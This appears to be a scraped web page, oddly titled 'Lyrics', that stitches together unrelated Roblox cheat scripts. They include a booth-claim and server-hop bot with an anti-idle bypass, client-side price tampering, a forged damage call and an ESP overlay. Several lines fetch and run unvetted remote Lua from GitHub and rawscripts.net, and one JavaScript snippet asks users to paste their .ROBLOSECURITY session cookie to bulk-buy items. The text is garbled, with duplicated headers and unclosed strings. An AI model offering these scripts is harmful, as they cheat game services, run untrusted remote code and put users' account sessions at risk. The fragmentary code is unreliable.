PLS Donate Script | Lyrics
-- Settings
local Type = "booth"; -- "booth", "sign"
local Richtext = [[
-- Settings
local Type = "booth"; -- "booth", "sign"
local Richtext = [[
local png = "sirme.png" --image in workspace folder getfenv().bit32 = bit local Unfilter = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Modules/Unfilter.lua"))() local BinaryReader = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Modules/BinaryReader.lua"))() local Deflate = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Modules/Deflate.lua"))() local PNG = {} PNG.__index = PNG local chunks = { IDAT = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/IDAT.lua"))(), IEND = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/IEND.lua"))(), IHDR = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/IHDR.lua"))(), PLTE = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/PLTE.lua"))(), bKGD = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/bKGD.lua"))(), cHRM = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/cHRM.lua"))(), gAMA = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/gAMA.lua"))(), sRGB = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/sRGB.lua"))(), tEXt = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/tEXt.lua"))(), tIME = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/tIME.lua"))(), tRNS = loadstring(game:HttpGet("https://raw.githubusercontent.com/CloneTrooper1019/Roblox-PNG-Library/master/Chunks/tRNS.lua"))() } local function getBytesPerPixel(colorType) if colorType == 0 or colorType == 3 then return 1 elseif colorType == 4 then return 2 elseif colorType == 2 then return 3 elseif colorType == 6 then return 4 else return 0 end end local function clampInt(value, min, max) local num = tonumber(value) or 0 num = math.floor(num + 0.5) return math.clamp(num, min, max) end local function indexBitmap(file, x, y) local width = file.Width local height = file.Height local x = clampInt(x, 1, width) local y = clampInt(y, 1, height) local bitmap = file.Bitmap local bpp = file.BytesPerPixel local i0 = ((x - 1) * bpp) + 1 local i1 = i0 + bpp return bitmap[y], i0, i1 end function PNG:GetPixel(x, y) local row, i0, i1 = indexBitmap(self, x, y) local colorType = self.ColorType local color, alpha do if colorType == 0 then local gray = unpack(row, i0, i1) color = Color3.fromHSV(0, 0, gray) alpha = 255 elseif colorType == 2 then local r, g, b = unpack(row, i0, i1) color = Color3.fromRGB(r, g, b) alpha = 255 elseif colorType == 3 then local palette = self.Palette local alphaData = self.AlphaData local index = unpack(row, i0, i1) index = index + 1 if palette then color = palette[index] end if alphaData then alpha = alphaData[index] end elseif colorType == 4 then local gray, a = unpack(row, i0, i1) color = Color3.fromHSV(0, 0, gray) alpha = a elseif colorType == 6 then local r, g, b, a = unpack(row, i0, i1) color = Color3.fromRGB(r, g, b, a) alpha = a end end if not color then color = Color3.new(1, 1, 1) end if not alpha then alpha = 255 end return color, alpha end function PNG.new(buffer) local reader = BinaryReader.new(buffer) local file = { Chunks = {}, Metadata = {}, Reading = true, ZlibStream = "" } local header = reader:ReadString(8) if header ~= "\137PNG\r\n\26\n" then error("PNG - Input data is not a PNG file.", 2) end while file.Reading do local length = reader:ReadInt32() local chunkType = reader:ReadString(4) print(length, chunkType) local data, crc if length > 0 then data = reader:ForkReader(length) crc = reader:ReadUInt32() end local chunk = { Length = length, Type = chunkType, Data = data, CRC = crc } local handler = chunks[chunkType] if handler then handler(file, chunk) end table.insert(file.Chunks, chunk) end local success, response = pcall(function() local result = {} local index = 0 Deflate:InflateZlib({ Input = BinaryReader.new(file.ZlibStream), Output = function(byte) index = index + 1 result[index] = string.char(byte) end }) return table.concat(result) end) if not success then error("PNG - Unable to unpack PNG data. " .. tostring(response), 2) end local width = file.Width local height = file.Height local bitDepth = file.BitDepth local colorType = file.ColorType local buffer = BinaryReader.new(response) file.ZlibStream = nil local bitmap = {} file.Bitmap = bitmap local channels = getBytesPerPixel(colorType) file.NumChannels = channels local bpp = math.max(1, channels * (bitDepth / 8)) file.BytesPerPixel = bpp for row = 1, height do wait() local filterType = buffer:ReadByte() local scanline = buffer:ReadBytes(width * bpp, true) bitmap[row] = {} if filterType == 0 then Unfilter:None(scanline, bitmap, bpp, row) elseif filterType == 1 then Unfilter:Sub(scanline, bitmap, bpp, row) elseif FilterType == 2 then Unfilter:Up(scanline, bitmap, bpp, row) elseif FilterType == 3 then Unfilter:Average(scanline, bitmap, bpp, row) elseif FilterType == 4 then Unfilter:Paeth(scanline, bitmap, bpp, row) end end return setmetatable(file, PNG) end local function to_hex(color) return string.format("%02X%02X%02X", color.R * 0xFF, color.G * 0xFF, color.B * 0xFF) end local cells = {} warn("Converting art, please wait!") local i = 1; local buf = readfile(png) png = PNG.new(buf) for x = 1, png.Width do for y = 1, png.Height do local color, a = png:GetPixel(x, y) if a ~= 0 then table.insert(cells, i, to_hex(color)); i = i+1; end end end warn("Done converting!") -- total squares = 1024 -- 32 x 32 local args = { ["FrameColor"] = "000000", ["Name"] = "Sir", ["Cells"] = cells } game:GetService("ReplicatedStorage").Remotes.CreateArt:InvokeServer(args)
--CONFIGURATION-- getgenv().minPlayers = 10 getgenv().minBuyers = 5 getgenv().serverHopAfterMinutes = 4 getgenv().ToggleJoinMSG = true getgenv().joinMSG = "Hey, make sure to check out my shop! :)" getgenv().AutoClaimBooth = true getgenv().LookForSuggarDad = false getgenv().minSuggardad = 100 repeat wait() until game:IsLoaded() wait(2) pcall(function() if AutoClaimBooth then local lp = game.Players.LocalPlayer local waitForPlots = workspace:WaitForChild("Plots") spawn(function() while not waitForPlots:FindFirstChild(lp.Name) do local unclaimed = game:GetService("Workspace").Plots:FindFirstChild("Unclaimed"); if unclaimed then if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then lp.Character.HumanoidRootPart.CFrame = unclaimed.Table:FindFirstChild("Bottom").CFrame + Vector3.new(0, 3, 0) if ToggleJoinMSG then pcall(function() game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(joinMSG, "All") ToggleJoinMSG = false; end) end end wait(1.5) for i, v in pairs(unclaimed:GetDescendants()) do if v.Name == "BoothClaimPrompt" then fireproximityprompt(v) end end end end end) end function hop() pcall(function() local Servers = game.HttpService:JSONDecode(game:HttpGet( "https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100")) spawn(function() while wait(1) do for i, v in pairs(Servers.data) do if v.playing ~= v.maxPlayers then wait(1.5) game:GetService('TeleportService'):TeleportToPlaceInstance(game.PlaceId, v.id) end end end end) end) end local players = game.Players:GetChildren() local countPlayers = #players local buyers = 0 local suggarAmount = 0 for i, v in pairs(game:GetService("Players"):GetChildren()) do for i, v in pairs(v:GetDescendants()) do if v.Name == "Bought" then if v.Value > 0 then buyers = buyers + 1 end if LookForSuggarDad then if v.Value > minSuggardad then suggarAmount = suggarAmount + 1 end end end end end if countPlayers >= minPlayers and buyers >= minBuyers then if LookForSuggarDad then if suggarAmount > 0 then local waitTime = serverHopAfterMinutes * 60 local client = game.GetService(game, "Players").LocalPlayer for i,v in pairs(getconnections(game:GetService("Players").LocalPlayer.Idled)) do v:Disable() end wait(waitTime) hop(); else hop(); end else local waitTime = serverHopAfterMinutes * 60 local client = game.GetService(game, "Players").LocalPlayer for i,v in pairs(getconnections(game:GetService("Players").LocalPlayer.Idled)) do v:Disable() end wait(waitTime) hop(); end else hop(); end end)
--[[ _____ _ / ____| | | | | __ _| |___ ____ _ _ __ ___ | | / _` | __\ \ /\ / / _` | '__/ _ \ | |___| (_| | |_ \ V V / (_| | | | __/ \_____\__,_|\__| \_/\_/ \__,_|_| \___| [*]Element BattleGround Script [*] V2 [*]Any bugs ? [*]Join our discord ! --> https://discord.gg/RuY8q5aQYG [*] Scripted by oShy --]] loadstring(game:HttpGet("https://rawscripts.net/raw/scripte_1034", true))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/pa1nx9/qwe/main/MurderParty.lua"))()
function besteverythingpriceto1() game:GetService("ReplicatedStorage").Equipment.Computers["Trigon Computer"].Price.Value = 1 game:GetService("ReplicatedStorage").Equipment.Cameras["UFO Camera"].Price.Value = 1 game:GetService("ReplicatedStorage").Equipment.Monitors["Tesla Monitor"].Price.Value = 1 game:GetService("ReplicatedStorage").Equipment.Chairs["Super Cozy Cushion"].Price.Value = 1 end besteverythingpriceto1()
game.ReplicatedStorage.Events.Apply_Damage:FireServer(Workspace.NPC_Chars.Teacher, 5000)
const Cookie = '' //-- Insert your cookie here const LayeredClothing = [ 1243478387, 1243478166, 1235118446, 1235118426, 1235118373, 1235118397, 1242724438, 1235118345, 1242724575, 1242724676 ]; for (var i = 0; i < LayeredClothing.length; i++) { const Response = fetch( 'https://economy.roblox.com/v1/purchases/products/' + LayeredClothing[i], { body: JSON.stringify({ expectedCurrency: 1, expectedPrice: 0, expectedSellerId: 1, }), method: 'POST', credentials: 'include', headers: { ['Accept']: 'application/json', ['Content-Type']: 'application/json', ['Cookie']: '.ROBLOSECURITY=' + Cookie, ['X-CSRF-TOKEN']: Roblox.XsrfToken.getToken() }, } ); if (Response.status !== 200) { console.log('Successfully purchased ' + (1 + i) + ' assets!') } }
shared.CustomCorrections = { ["examplething12"] = "hello" -- if you say "examplething12" it will become hello } loadstring(game:HttpGet("https://raw.githubusercontent.com/eosuwu/boblox/main/autogremer.lua"))()
-- Made by Blissful#4992 local DistFromCenter = 80 local TriangleHeight = 16 local TriangleWidth = 16 local TriangleFilled = false local TriangleTransparency = 0 local TriangleThickness = 2 local TriangleColor = Color3.fromRGB(0, 255, 255) local AntiAliasing = false ---------------------------------------------------------------- local Players = game:service("Players") local Player = Players.LocalPlayer local Camera = workspace.CurrentCamera local RS = game:service("RunService") local V3 = Vector3.new local V2 = Vector2.new local CF = CFrame.new local COS = math.cos local SIN = math.sin local RAD = math.rad local DRAWING = Drawing.new local CWRAP = coroutine.wrap local ROUND = math.round local function GetRelative(pos, char) if not char then return V2(0,0) end local rootP = char.PrimaryPart.Position local camP = Camera.CFrame.Position camP = V3(camP.X, rootP.Y, camP.Z) local newcf = CF(rootP, camP) local r = newcf:PointToObjectSpace(pos) return V2(r.X, r.Z) end local function RelativeToCenter(v) return Camera.ViewportSize/2 - v end local function RotateVect(v, a) a = RAD(a) local x = v.x * COS(a) - v.y * SIN(a) local y = v.x * SIN(a) + v.y * COS(a) return V2(x, y) end local function DrawTriangle(color) local l = DRAWING("Triangle") l.Visible = false l.Color = color l.Filled = TriangleFilled l.Thickness = TriangleThickness l.Transparency = 1-TriangleTransparency return l end local function AntiA(v) if (not AntiAliasing) then return v end return V2(ROUND(v.x), ROUND(v.y)) end local function ShowArrow(PLAYER) local Arrow = DrawTriangle(TriangleColor) local function Update() local c ; c = RS.RenderStepped:Connect(function() if PLAYER and PLAYER.Character then local CHAR = PLAYER.Character local HUM = CHAR:FindFirstChildOfClass("Humanoid") if HUM and CHAR.PrimaryPart ~= nil and HUM.Health > 0 then local _,vis = Camera:WorldToViewportPoint(CHAR.PrimaryPart.Position) if vis == false then local rel = GetRelative(CHAR.PrimaryPart.Position, Player.Character) local direction = rel.unit local base = direction * DistFromCenter local sideLength = TriangleWidth/2 local baseL = base + RotateVect(direction, 90) * sideLength local baseR = base + RotateVect(direction, -90) * sideLength local tip = direction * (DistFromCenter + TriangleHeight) Arrow.PointA = AntiA(RelativeToCenter(baseL)) Arrow.PointB = AntiA(RelativeToCenter(baseR)) Arrow.PointC = AntiA(RelativeToCenter(tip)) Arrow.Visible = true else Arrow.Visible = false end else Arrow.Visible = false end else Arrow.Visible = false if not PLAYER or not PLAYER.Parent then Arrow:Remove() c:Disconnect() end end end) end CWRAP(Update)() end for _,v in pairs(Players:GetChildren()) do if v.Name ~= Player.Name then ShowArrow(v) end end Players.PlayerAdded:Connect(function(v) if v.Name ~= Player.Name then ShowArrow(v) end end)